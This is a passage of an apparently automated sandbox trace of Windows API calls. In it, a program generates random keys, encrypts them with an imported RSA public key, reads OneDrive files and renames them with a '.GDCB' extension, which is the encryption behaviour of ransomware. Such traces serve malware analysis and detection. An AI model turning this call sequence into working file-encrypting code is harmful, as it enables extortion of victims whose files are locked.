lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\QuotaCritical.png.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\17.3.6917.0607\\quotacritical.png.gdcb")) returned 0 [0180.974] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4e48) returned 1 [0180.976] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0180.976] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0180.976] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285d38c | out: pbBuffer=0x285d38c) returned 1 [0180.976] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0180.976] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4980) returned 1 [0180.978] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0180.979] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0180.979] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x20, pbBuffer=0x285d358 | out: pbBuffer=0x285d358) returned 1 [0180.979] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0180.979] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4e48) returned 1 [0180.981] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x4f2c608) returned 1 [0180.981] CryptGetKeyParam (in: hKey=0x4f2c608, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0180.981] CryptEncrypt (in: hKey=0x4f2c608, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x55c0000*, pdwDataLen=0x285d3a4*=0xc8, dwBufLen=0x800 | out: pbData=0x55c0000*, pdwDataLen=0x285d3a4*=0x100) returned 1 [0180.982] GetLastError () returned 0x0 [0180.982] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0180.982] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4e48) returned 1 [0180.984] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x4f2c7c8) returned 1 [0180.984] CryptGetKeyParam (in: hKey=0x4f2c7c8, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0180.984] CryptEncrypt (in: hKey=0x4f2c7c8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x55d0000*, pdwDataLen=0x285d3a8*=0xc8, dwBufLen=0x800 | out: pbData=0x55d0000*, pdwDataLen=0x285d3a8*=0x100) returned 1 [0180.984] GetLastError () returned 0x0 [0180.984] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0180.984] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\QuotaError.png" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\17.3.6917.0607\\quotaerror.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x514 [0180.986] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x55e0000 [0180.987] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x55f0000 [0180.988] ReadFile (in: hFile=0x514, lpBuffer=0x55f0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d3e8, lpOverlapped=0x0 | out: lpBuffer=0x55f0000*, lpNumberOfBytesRead=0x285d3e8*=0x244a, lpOverlapped=0x0) returned 1 [0181.025] VirtualAlloc (lpAddress=0x0, dwSize=0x2450, flAllocationType=0x3000, flProtect=0x4) returned 0x5700000 [0181.032] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\QuotaError.png" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\17.3.6917.0607\\quotaerror.png"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\QuotaError.png.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\17.3.6917.0607\\quotaerror.png.gdcb")) returned 1 [0181.037] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4430) returned 1 [0181.039] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0181.039] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0181.039] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x10, pbBuffer=0x285d38c | out: pbBuffer=0x285d38c) returned 1 [0181.039] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0181.039] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4540) returned 1 [0181.042] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0181.042] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0181.043] CryptGenRandom (in: hProv=0x5c4540, dwLen=0x20, pbBuffer=0x285d358 | out: pbBuffer=0x285d358) returned 1 [0181.043] CryptReleaseContext (hProv=0x5c4540, dwFlags=0x0) returned 1 [0181.043] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4430) returned 1 [0181.045] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x4f2c648) returned 1 [0181.045] CryptGetKeyParam (in: hKey=0x4f2c648, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0181.045] CryptEncrypt (in: hKey=0x4f2c648, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x55c0000*, pdwDataLen=0x285d3a4*=0xc8, dwBufLen=0x800 | out: pbData=0x55c0000*, pdwDataLen=0x285d3a4*=0x100) returned 1 [0181.046] GetLastError () returned 0x0 [0181.046] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0181.046] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4430) returned 1 [0181.048] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x4f2cc08) returned 1 [0181.048] CryptGetKeyParam (in: hKey=0x4f2cc08, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0181.048] CryptEncrypt (in: hKey=0x4f2cc08, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x55d0000*, pdwDataLen=0x285d3a8*=0xc8, dwBufLen=0x800 | out: pbData=0x55d0000*, pdwDataLen=0x285d3a8*=0x100) returned 1 [0181.048] GetLastError () returned 0x0 [0181.048] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0181.048] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\QuotaNearing.png" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\17.3.6917.0607\\quotanearing.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x514 [0181.050] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x55e0000 [0181.051] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x55f0000 [0181.052] ReadFile (in: hFile=0x514, lpBuffer=0x55f0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d3e8, lpOverlapped=0x0 | out: lpBuffer=0x55f0000*, lpNumberOfBytesRead=0x285d3e8*=0x1d59, lpOverlapped=0x0) returned 1 [0181.062] VirtualAlloc (lpAddress=0x0, dwSize=0x1d60, flAllocationType=0x3000, flProtect=0x4) returned 0x5700000 [0181.066] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\QuotaNearing.png" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\17.3.6917.0607\\quotanearing.png"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\QuotaNearing.png.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\17.3.6917.0607\\quotanearing.png.gdcb")) returned 0 [0181.075] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4430) returned 1 [0181.077] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0181.077] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0181.077] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x10, pbBuffer=0x285d38c | out: pbBuffer=0x285d38c) returned 1 [0181.077] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0181.077] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4980) returned 1 [0181.078] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0181.079] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0181.079] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x20, pbBuffer=0x285d358 | out: pbBuffer=0x285d358) returned 1 [0181.079] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0181.079] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4430) returned 1 [0181.082] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x4f2cb48) returned 1 [0181.082] CryptGetKeyParam (in: hKey=0x4f2cb48, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0181.082] CryptEncrypt (in: hKey=0x4f2cb48, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x55c0000*, pdwDataLen=0x285d3a4*=0xc8, dwBufLen=0x800 | out: pbData=0x55c0000*, pdwDataLen=0x285d3a4*=0x100) returned 1 [0181.082] GetLastError () returned 0x0 [0181.082] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0181.082] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4e48) returned 1 [0181.084] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x4f2ca88) returned 1 [0181.084] CryptGetKeyParam (in: hKey=0x4f2ca88, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0181.084] CryptEncrypt (in: hKey=0x4f2ca88, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x55d0000*, pdwDataLen=0x285d3a8*=0xc8, dwBufLen=0x800 | out: pbData=0x55d0000*, pdwDataLen=0x285d3a8*=0x100) returned 1 [0181.084] GetLastError () returned 0x0 [0181.084] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0181.084] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\ScreenshotOptIn.gif" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\17.3.6917.0607\\screenshotoptin.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x514 [0181.087] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x55e0000 [0181.088] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x55f0000 [0181.089] ReadFile (in: hFile=0x514, lpBuffer=0x55f0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d3e8, lpOverlapped=0x0 | out: lpBuffer=0x55f0000*, lpNumberOfBytesRead=0x285d3e8*=0x3b721, lpOverlapped=0x0) returned 1 [0181.121] VirtualAlloc (lpAddress=0x0, dwSize=0x3b730, flAllocationType=0x3000, flProtect=0x4) returned 0x5700000 [0181.131] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\ScreenshotOptIn.gif" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\17.3.6917.0607\\screenshotoptin.gif"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\ScreenshotOptIn.gif.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\17.3.6917.0607\\screenshotoptin.gif.gdcb")) returned 0 [0181.157] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4e48) returned 1 [0181.158] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0181.159] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0181.159] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285d38c | out: pbBuffer=0x285d38c) returned 1 [0181.159] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0181.159] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4e48) returned 1 [0181.160] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0181.161] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0181.161] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285d358 | out: pbBuffer=0x285d358) returned 1 [0181.161] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0181.161] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4e48) returned 1 [0181.164] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x4f2cb88) returned 1 [0181.164] CryptGetKeyParam (in: hKey=0x4f2cb88, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0181.165] CryptEncrypt (in: hKey=0x4f2cb88, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x55c0000*, pdwDataLen=0x285d3a4*=0xc8, dwBufLen=0x800 | out: pbData=0x55c0000*, pdwDataLen=0x285d3a4*=0x100) returned 1 [0181.165] GetLastError () returned 0x0 [0181.165] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0181.165] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4e48) returned 1 [0181.167] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x4f2c808) returned 1 [0181.167] CryptGetKeyParam (in: hKey=0x4f2c808, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0181.167] CryptEncrypt (in: hKey=0x4f2c808, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x55d0000*, pdwDataLen=0x285d3a8*=0xc8, dwBufLen=0x800 | out: pbData=0x55d0000*, pdwDataLen=0x285d3a8*=0x100) returned 1 [0181.167] GetLastError () returned 0x0 [0181.167] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0181.167] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\TestSharePage.html" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\17.3.6917.0607\\testsharepage.html"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x514 [0181.169] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x55e0000 [0181.171] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x55f0000 [0181.171] ReadFile (in: hFile=0x514, lpBuffer=0x55f0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d3e8, lpOverlapped=0x0 | out: lpBuffer=0x55f0000*, lpNumberOfBytesRead=0x285d3e8*=0x484, lpOverlapped=0x0) returned 1 [0181.190] VirtualAlloc (lpAddress=0x0, dwSize=0x490, flAllocationType=0x3000, flProtect=0x4) returned 0x5700000 [0181.194] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\TestSharePage.html" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\17.3.6917.0607\\testsharepage.html"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\TestSharePage.html.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\17.3.6917.0607\\testsharepage.html.gdcb")) returned 0 [0181.199] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4e48) returned 1 [0181.200] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0181.201] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0181.201] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285d38c | out: pbBuffer=0x285d38c) returned 1 [0181.201] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0181.201] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4430) returned 1 [0181.202] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0181.203] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0181.203] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x20, pbBuffer=0x285d358 | out: pbBuffer=0x285d358) returned 1 [0181.203] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0181.203] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4e48) returned 1 [0181.205] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x4f2cc88) returned 1 [0181.206] CryptGetKeyParam (in: hKey=0x4f2cc88, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0181.206] CryptEncrypt (in: hKey=0x4f2cc88, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x55c0000*, pdwDataLen=0x285d3a4*=0xc8, dwBufLen=0x800 | out: pbData=0x55c0000*, pdwDataLen=0x285d3a4*=0x100) returned 1 [0181.206] GetLastError () returned 0x0 [0181.206] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0181.206] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4430) returned 1 [0181.208] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x4f2cc48) returned 1 [0181.208] CryptGetKeyParam (in: hKey=0x4f2cc48, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0181.208] CryptEncrypt (in: hKey=0x4f2cc48, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x55d0000*, pdwDataLen=0x285d3a8*=0xc8, dwBufLen=0x800 | out: pbData=0x55d0000*, pdwDataLen=0x285d3a8*=0x100) returned 1 [0181.208] GetLastError () returned 0x0 [0181.208] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0181.208] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\ThirdPartyNotices.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\17.3.6917.0607\\thirdpartynotices.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0181.219] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4430) returned 1 [0181.220] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0181.221] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0181.221] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x10, pbBuffer=0x285d38c | out: pbBuffer=0x285d38c) returned 1 [0181.221] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0181.221] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4760) returned 1 [0181.222] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0181.223] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0181.223] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285d358 | out: pbBuffer=0x285d358) returned 1 [0181.223] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0181.223] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4540) returned 1 [0181.225] CryptImportKey (in: hProv=0x5c4540, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x4f2c848) returned 1 [0181.225] CryptGetKeyParam (in: hKey=0x4f2c848, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0181.225] CryptEncrypt (in: hKey=0x4f2c848, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x55e0000*, pdwDataLen=0x285d3a4*=0xc8, dwBufLen=0x800 | out: pbData=0x55e0000*, pdwDataLen=0x285d3a4*=0x100) returned 1 [0181.225] 